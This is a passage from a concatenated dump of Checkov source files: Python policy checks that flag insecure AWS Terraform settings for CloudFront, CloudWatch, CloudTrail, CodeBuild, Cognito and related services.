checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class CloudFrontGeoRestrictionDisabled(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure AWS CloudFront web distribution has geo restriction enabled" id = "CKV_AWS_374" supported_resources = ('aws_cloudfront_distribution',) categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "restrictions/[0]/geo_restriction/[0]/restriction_type" def get_forbidden_values(self) -> list: return ["none"] check = CloudFrontGeoRestrictionDisabled() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudFrontResponseHeaderStrictTransportSecurity.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.type_forcers import force_int from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class CloudFrontResponseHeaderStrictTransportSecurity(BaseResourceCheck): def __init__(self) -> None: name = "Ensure CloudFront response header policy enforces Strict Transport Security" id = "CKV_AWS_259" supported_resources = ("aws_cloudfront_response_headers_policy",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: # https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security self.evaluated_keys = ["security_headers_config"] security_headers = conf.get("security_headers_config") if security_headers and isinstance(security_headers, list): self.evaluated_keys = ["security_headers_config/[0]/strict_transport_security"] sts = security_headers[0].get("strict_transport_security") if sts and isinstance(sts, list): # if one of those configs is not set correctly, then the check should fail self.evaluated_keys = [ "security_headers_config/[0]/strict_transport_security/[0]/access_control_max_age_sec" ] max_age = sts[0].get("access_control_max_age_sec") if not max_age: return CheckResult.FAILED else: max_age_int = force_int(max_age[0]) if not max_age_int or max_age_int < 31536000: # 1 year return CheckResult.FAILED self.evaluated_keys.append( "security_headers_config/[0]/strict_transport_security/[0]/include_subdomains" ) subdomains = sts[0].get("include_subdomains") if not subdomains or not subdomains[0]: return CheckResult.FAILED self.evaluated_keys.append("security_headers_config/[0]/strict_transport_security/[0]/preload") preload = sts[0].get("preload") if not preload or not preload[0]: return CheckResult.FAILED self.evaluated_keys.append("security_headers_config/[0]/strict_transport_security/[0]/override") override = sts[0].get("override") if not override or not override[0]: return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = CloudFrontResponseHeaderStrictTransportSecurity() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudWatchAlarmsEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class CloudWatchAlarmsEnabled(BaseResourceNegativeValueCheck): def __init__(self): """ NIST.800-53.r5 AU-6(1), NIST.800-53.r5 AU-6(5), NIST.800-53.r5 CA-7, NIST.800-53.r5 SI-2, NIST.800-53.r5 SI-4(12) CloudWatch alarm actions should be activated """ name = "Ensure that CloudWatch alarm actions are enabled" id = "CKV_AWS_319" supported_resources = ['aws_cloudwatch_metric_alarm'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "actions_enabled" def get_forbidden_values(self): return [False] check = CloudWatchAlarmsEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudWatchLogGroupKMSKey.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class CloudWatchLogGroupKMSKey(BaseResourceValueCheck): def __init__(self): name = "Ensure that CloudWatch Log Group is encrypted by KMS" id = "CKV_AWS_158" supported_resources = ['aws_cloudwatch_log_group'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = CloudWatchLogGroupKMSKey() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudWatchLogGroupRetention.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class CloudWatchLogGroupRetention(BaseResourceValueCheck): def __init__(self): name = "Ensure that CloudWatch Log Group specifies retention days" id = "CKV_AWS_66" supported_resource = ['aws_cloudwatch_log_group'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource) def get_inspected_key(self): return "retention_in_days" def get_expected_value(self): return ANY_VALUE check = CloudWatchLogGroupRetention() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudWatchLogGroupRetentionYear.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import \ BaseResourceCheck class CloudWatchLogGroupRetentionYear(BaseResourceCheck): def __init__(self) -> None: """ NIST.800-53.r5 AU-10, NIST.800-53.r5 AU-11, NIST.800-53.r5 AU-6(3), NIST.800-53.r5 AU-6(4), NIST.800-53.r5 CA-7, NIST.800-53.r5 SI-12 CloudWatch log groups should be retained for at least 1 year """ name = "Ensure CloudWatch log groups retains logs for at least 1 year" id = "CKV_AWS_338" supported_resource = ("aws_cloudwatch_log_group",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: retention = conf.get("retention_in_days") if retention and isinstance(retention, list): retention = retention[0] if not isinstance(retention, int): # probably a dependent variable return CheckResult.UNKNOWN # If you select 0, the events in the log group are always retained and never expire. if retention == 0 or retention >= 365: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["retention_in_days"] check = CloudWatchLogGroupRetentionYear() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudformationStackNotificationArns.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class CloudformationStackNotificationArns(BaseResourceValueCheck): def __init__(self): name = "Ensure that CloudFormation stacks are sending event notifications to an SNS topic" id = "CKV_AWS_124" supported_resources = ['aws_cloudformation_stack'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'notification_arns' def get_expected_value(self): return ANY_VALUE check = CloudformationStackNotificationArns() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudfrontDistributionDefaultRoot.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CloudfrontDistributionDefaultRoot(BaseResourceValueCheck): def __init__(self): """ NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16) CloudFront distributions should have a default root object configured """ name = "Ensure CloudFront distribution has a default root object configured" id = "CKV_AWS_305" supported_resources = ['aws_cloudfront_distribution'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "default_root_object" def get_expected_value(self): return ANY_VALUE check = CloudfrontDistributionDefaultRoot() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudfrontDistributionEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CloudfrontDistributionEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure CloudFront distribution is enabled" id = "CKV_AWS_216" supported_resources = ['aws_cloudfront_distribution'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "enabled" check = CloudfrontDistributionEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudfrontDistributionEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class CloudfrontDistributionEncryption(BaseResourceCheck): def __init__(self): name = "Ensure CloudFront distribution ViewerProtocolPolicy is set to HTTPS" id = "CKV_AWS_34" supported_resources = ['aws_cloudfront_distribution'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for ViewerProtocolPolicy configuration at cloudfront distributions: https://www.terraform.io/docs/providers/aws/r/cloudfront_distribution.html#viewer_protocol_policy :param conf: cloudfront configuration :return: """ if "default_cache_behavior" in conf.keys(): self.evaluated_keys = ['default_cache_behavior/[0]/viewer_protocol_policy'] if isinstance(conf["default_cache_behavior"][0], dict): default_viewer_policy = conf["default_cache_behavior"][0].get("viewer_protocol_policy") if default_viewer_policy and default_viewer_policy[0] == "allow-all": return CheckResult.FAILED if "ordered_cache_behavior" in conf.keys(): for behavior in conf["ordered_cache_behavior"]: if isinstance(behavior, dict): # behavior which is a string will return PASSED if behavior["viewer_protocol_policy"][0] == "allow-all": self.evaluated_keys = [f'ordered_cache_behavior/[{conf["ordered_cache_behavior"].index(behavior)}]/viewer_protocol_policy'] return CheckResult.FAILED return CheckResult.PASSED check = CloudfrontDistributionEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudfrontDistributionLogging.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CloudfrontDistributionLogging(BaseResourceValueCheck): def __init__(self): name = "Ensure CloudFront distribution has Access Logging enabled" id = "CKV_AWS_86" supported_resources = ['aws_cloudfront_distribution'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "logging_config/[0]/bucket" def get_expected_value(self): return ANY_VALUE check = CloudfrontDistributionLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudfrontDistributionOriginFailover.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class CloudfrontDistributionOriginFailover(BaseResourceCheck): def __init__(self) -> None: """ NIST.800-53.r5 CP-10, NIST.800-53.r5 SC-36, NIST.800-53.r5 SC-5(2), NIST.800-53.r5 SI-13(5) CloudFront distributions should have origin failover configured """ name = "Ensure CloudFront distributions should have origin failover configured" id = "CKV_AWS_310" supported_resources = ('aws_cloudfront_distribution',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): groups = conf.get("origin_group") if groups and isinstance(groups, list): self.evaluated_keys = ["origin_group"] for group_idx, group in enumerate(groups): if isinstance(group, dict) and group.get("failover_criteria"): member = group.get("member") if not member or len(member) < 2: self.evaluated_keys.append(f"origin_group/[{group_idx}]/member") return CheckResult.FAILED else: return CheckResult.FAILED else: return CheckResult.FAILED return CheckResult.PASSED check = CloudfrontDistributionOriginFailover() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudfrontTLS12.py ================================================ from typing import Any, Dict import re from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck _SECURE_RE = re.compile(r"^TLSv1\.(?:2|3)_\d{4}$") class CloudFrontTLS12(BaseResourceValueCheck): def __init__(self) -> None: name = "Verify CloudFront Distribution Viewer Certificate is using TLS v1.2 or higher" id = "CKV_AWS_174" supported_resources = ("aws_cloudfront_distribution",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: # keep this for reporting return "viewer_certificate/[0]/minimum_protocol_version" def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: vc_list = conf.get("viewer_certificate") if not isinstance(vc_list, list) or not vc_list or not isinstance(vc_list[0], dict): return CheckResult.FAILED vc = vc_list[0] default_cert = vc.get("cloudfront_default_certificate") if isinstance(default_cert, list): default_cert = default_cert[0] if default_cert else None if isinstance(default_cert, str): default_cert = default_cert.lower() == "true" if default_cert is True: return CheckResult.FAILED mpv = vc.get("minimum_protocol_version") if isinstance(mpv, list): mpv = mpv[0] if mpv else None if isinstance(mpv, str) and _SECURE_RE.match(mpv): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self): return [self.get_inspected_key()] check = CloudFrontTLS12() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudsearchDomainEnforceHttps.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CloudsearchDomainEnforceHttps(BaseResourceValueCheck): def __init__(self): name = "Ensure that CloudSearch is using https" id = "CKV_AWS_220" supported_resources = ["aws_cloudsearch_domain"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "endpoint_options/[0]/enforce_https" def get_expected_value(self) -> bool: return True check = CloudsearchDomainEnforceHttps() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudsearchDomainTLS.py ================================================ from checkov.common.models.enums import CheckCategories from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CloudsearchDomainTLS(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that CloudSearch is using latest TLS" id = "CKV_AWS_218" supported_resources = ("aws_cloudsearch_domain",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "endpoint_options/[0]/tls_security_policy" def get_expected_value(self) -> Any: return "Policy-Min-TLS-1-2-2019-07" check = CloudsearchDomainTLS() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudtrailDefinesSNSTopic.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class CloudtrailDefinesSNSTopic(BaseResourceValueCheck): def __init__(self): """ If you CloudTrail trails are not referenced to an SNS topic, you can't get notifications each time Amazon CloudTrail publishes any new log files, and you lose the ability to take realtime actions. AWS: "An active account can generate a large number of notifications. If you subscribe with email or SMS, you can receive a large volume of messages. We recommend that you subscribe using Amazon Simple Queue Service (Amazon SQS), which lets you handle notifications programmatically. """ name = "Ensure CloudTrail defines an SNS Topic" id = "CKV_AWS_252" supported_resources = ['aws_cloudtrail'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): """ Looks for SNS topic at cloudtrail: https://www.terraform.io/docs/providers/aws/r/cloudtrail.html :param conf: cloudtrail configuration :return: """ return 'sns_topic_name' def get_expected_value(self): return ANY_VALUE check = CloudtrailDefinesSNSTopic() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudtrailEnableLogging.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class CloudtrailEnableLogging(BaseResourceValueCheck): def __init__(self): name = "Ensure CloudTrail logging is enabled" id = "CKV_AWS_251" supported_resources = ['aws_cloudtrail'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return "enable_logging" check = CloudtrailEnableLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudtrailEncryptionWithCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class CloudtrailEncryptionWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure CloudTrail logs are encrypted at rest using KMS CMKs" id = "CKV_AWS_35" supported_resources = ['aws_cloudtrail'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): """ Looks for encryption configuration at cloudtrail: https://www.terraform.io/docs/providers/aws/r/cloudtrail.html :param conf: cloudtrail configuration :return: """ return 'kms_key_id' def get_expected_value(self): return ANY_VALUE check = CloudtrailEncryptionWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudtrailEventDataStoreUsesCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class CloudtrailEventDataStoreUsesCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure CloudTrail Event Data Store uses CMK" id = "CKV_AWS_294" supported_resources = ['aws_cloudtrail_event_data_store'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'kms_key_id' def get_expected_value(self): return ANY_VALUE check = CloudtrailEventDataStoreUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudtrailLogValidation.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class CloudtrailLogValidation(BaseResourceValueCheck): def __init__(self): name = "Ensure CloudTrail log file validation is enabled" id = "CKV_AWS_36" supported_resources = ['aws_cloudtrail'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "enable_log_file_validation" check = CloudtrailLogValidation() ================================================ FILE: checkov/terraform/checks/resource/aws/CloudtrailMultiRegion.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class CloudtrailMultiRegion(BaseResourceValueCheck): def __init__(self): name = "Ensure CloudTrail is enabled in all Regions" id = "CKV_AWS_67" supported_resources = ['aws_cloudtrail'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "is_multi_region_trail" check = CloudtrailMultiRegion() ================================================ FILE: checkov/terraform/checks/resource/aws/CodeArtifactDomainEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class CodeArtifactDomainEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure CodeArtifact Domain is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_221" supported_resources = ['aws_codeartifact_domain'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): """ Why not be consistent and use kms_key_id ..sigh. """ return "encryption_key" def get_expected_value(self): return ANY_VALUE check = CodeArtifactDomainEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/CodeBuildPrivilegedMode.py ================================================ from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class CodeBuildPrivilegedMode(BaseResourceNegativeValueCheck): def __init__(self): """ NIST.800-53.r5 AC-2(1), NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(15), NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-5, NIST.800-53.r5 AC-6, NIST.800-53.r5 AC-6(10), NIST.800-53.r5 AC-6(2) CodeBuild project environments should not have privileged mode enabled """ name = "Ensure CodeBuild project environments do not have privileged mode enabled" id = "CKV_AWS_316" supported_resources = ['aws_codebuild_project'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "environment/[0]/privileged_mode" def get_forbidden_values(self): return [True] check = CodeBuildPrivilegedMode() ================================================ FILE: checkov/terraform/checks/resource/aws/CodeBuildProjectEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class CodeBuildProjectEncryption(BaseResourceCheck): def __init__(self): name = "Ensure that CodeBuild Project encryption is not disabled" id = "CKV_AWS_78" supported_resources = ['aws_codebuild_project'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'artifacts' not in conf: return CheckResult.UNKNOWN artifact = force_list(conf['artifacts'])[0] if isinstance(artifact, dict): if artifact['type'] == ["NO_ARTIFACTS"]: self.evaluated_keys = ['artifacts/[0]/type'] return CheckResult.UNKNOWN if 'encryption_disabled' in artifact and artifact['encryption_disabled'] == [True]: self.evaluated_keys = ['artifacts/[0]/encryption_disabled'] return CheckResult.FAILED self.evaluated_keys = ['artifacts'] return CheckResult.PASSED check = CodeBuildProjectEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/CodePipelineArtifactsEncrypted.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class CodePipelineArtifactsEncrypted(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure CodePipeline Artifact store is using a KMS CMK" id = "CKV_AWS_219" supported_resources = ("aws_codepipeline",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "artifact_store/[0]/encryption_key/[0]/id" def get_expected_value(self) -> Any: return ANY_VALUE check = CodePipelineArtifactsEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/CodebuildHasLogs.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from typing import List class CodebuildHasLogs(BaseResourceCheck): def __init__(self) -> None: """ NIST.800-53.r5 AC-2(12), NIST.800-53.r5 AC-2(4), NIST.800-53.r5 AC-4(26), NIST.800-53.r5 AC-6(9), NIST.800-53.r5 AU-10, NIST.800-53.r5 AU-12, NIST.800-53.r5 AU-2, NIST.800-53.r5 AU-3, NIST.800-53.r5 AU-6(3), NIST.800-53.r5 AU-6(4), NIST.800-53.r5 AU-9(7), NIST.800-53.r5 CA-7, NIST.800-53.r5 SC-7(9), NIST.800-53.r5 SI-3(8), NIST.800-53.r5 SI-4, NIST.800-53.r5 SI-4(20), NIST.800-53.r5 SI-7(8) CodeBuild project environments should have a logging configuration """ name = "Ensure CodeBuild project environments have a logging configuration" id = "CKV_AWS_314" supported_resources = ('aws_codebuild_project',) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): logs_config = conf.get('logs_config') if logs_config and isinstance(logs_config, list): logs = logs_config[0] if isinstance(logs, dict): if logs.get("cloudwatch_logs") or logs.get("s3_logs"): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['enabled_cloudwatch_logs_exports'] check = CodebuildHasLogs() ================================================ FILE: checkov/terraform/checks/resource/aws/CodebuildS3LogsEncrypted.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class CodebuildS3LogsEncrypted(BaseResourceNegativeValueCheck): def __init__(self): """ NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-3(6), NIST.800-53.r5 SC-13, NIST.800-53.r5 SC-28, NIST.800-53.r5 SC-28(1), NIST.800-53.r5 SI-7(6) """ name = "Ensure that CodeBuild S3 logs are encrypted" id = "CKV_AWS_311" supported_resource = ['aws_codebuild_project'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource) def get_inspected_key(self): return "logs_config/[0]/s3_logs/[0]/encryption_disabled" def get_forbidden_values(self): return [True] check = CodebuildS3LogsEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/CodebuildUsesCMK.py ================================================ from typing import Dict, List, Any from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class CodeBuildEncrypted(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that CodeBuild projects are encrypted using CMK" id = "CKV_AWS_147" supported_resources = ["aws_codebuild_project"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: artifacts = conf.get("artifacts") if not artifacts: return CheckResult.UNKNOWN artifacts = force_list(artifacts)[0] if isinstance(artifacts, dict): self.evaluated_keys.append("artifacts/[0]/type") if artifacts["type"] == ["NO_ARTIFACTS"]: # if a CodeBuild project does not define any artifacts, # then they also don't need to be encrypted return CheckResult.UNKNOWN self.evaluated_keys.append("encryption_key") if "encryption_key" in conf: return CheckResult.PASSED return CheckResult.FAILED check = CodeBuildEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/CodecommitApprovalsRulesRequireMin2.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class CodecommitApprovalsRulesRequireMin2(BaseResourceCheck): def __init__(self): """ See https://docs.aws.amazon.com/codecommit/latest/userguide/approval-rule-templates.html """ name = "Ensure CodeCommit branch changes have at least 2 approvals" id = "CKV_AWS_257" supported_resources = ['aws_codecommit_approval_rule_template'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if conf.get("content") and isinstance(conf.get("content"), list): content = conf.get("content")[0] if not isinstance(content, dict): return CheckResult.UNKNOWN if content.get("Statements") and isinstance(content.get("Statements"), list): statement = content.get("Statements")[0] if isinstance(statement.get('NumberOfApprovalsNeeded'), int) and statement.get('NumberOfApprovalsNeeded') >= 2: return CheckResult.PASSED self.evaluated_keys = ["content/Statements/NumberOfApprovalsNeeded"] return CheckResult.FAILED check = CodecommitApprovalsRulesRequireMin2() ================================================ FILE: checkov/terraform/checks/resource/aws/CognitoUnauthenticatedIdentities.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class CloudsearchDomainEnforceHttps(BaseResourceValueCheck): def __init__(self): name = "Ensure AWS Cognito identity pool does not allow unauthenticated guest access" id = "CKV_AWS_366" supported_resources = ["aws_cognito_identity_pool"] categories = [CheckCategories.IAM] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "allow_unauthenticated_identities" def get_expected_value(self) -> bool: return False check = CloudsearchDomainEnforceHttps() ================================================ FILE: checkov/terraform/checks/resource/aws/ComprehendEntityRecognizerModelUsesCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class ComprehendEntityRecognizerModelUsesCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure that Comprehend Entity Recognizer's model is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_267" supported_resources = ['aws_comprehend_entity_recognizer'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'model_kms_key_id' def get_expected_value(self): return ANY_VALUE check = ComprehendEntityRecognizerModelUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/ComprehendEntityRecognizerVolumeUsesCMK.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class ComprehendEntityRecognizerVolumeUsesCMK(BaseResourceValueCheck): def __init__(self) -> None: name = ( "Ensure that Comprehend Entity Recognizer's volume is encrypted by KMS using a customer managed Key (CMK)" ) id = "CKV_AWS_268" supported_resources = ("aws_comprehend_entity_recognizer",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "volume_kms_key_id" def get_expected_value(self) -> Any: return ANY_VALUE check = ComprehendEntityRecognizerVolumeUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/ConfigConfgurationAggregatorAllRegions.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class ConfigConfigurationAggregator(BaseResourceCheck): def __init__(self): name = "Ensure AWS Config is enabled in all regions" id = "CKV_AWS_121" supported_resources = ['aws_config_configuration_aggregator'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for account_aggregation_source / organization_aggregation_source at aws_config_configuration_aggregator: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/config_configuration_aggregator#account-based-aggregation :param conf: aws_config_configuration_aggregator configuration :return: """ if "account_aggregation_source" in conf: aggregation_source = conf.get("account_aggregation_source", {})[0] if isinstance(aggregation_source, dict) and aggregation_source.get("all_regions"): return CheckResult.PASSED if "organization_aggregation_source" in conf: aggregation_source = conf.get("organization_aggregation_source", {})[0] if isinstance(aggregation_source, dict) and aggregation_source.get("all_regions"): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["account_aggregation_source", "organization_aggregation_source"] check = ConfigConfigurationAggregator() ================================================ FILE: checkov/terraform/checks/resource/aws/ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Connect Instance Kinesis Video Stream Storage Config uses CMK" id = "CKV_AWS_269" 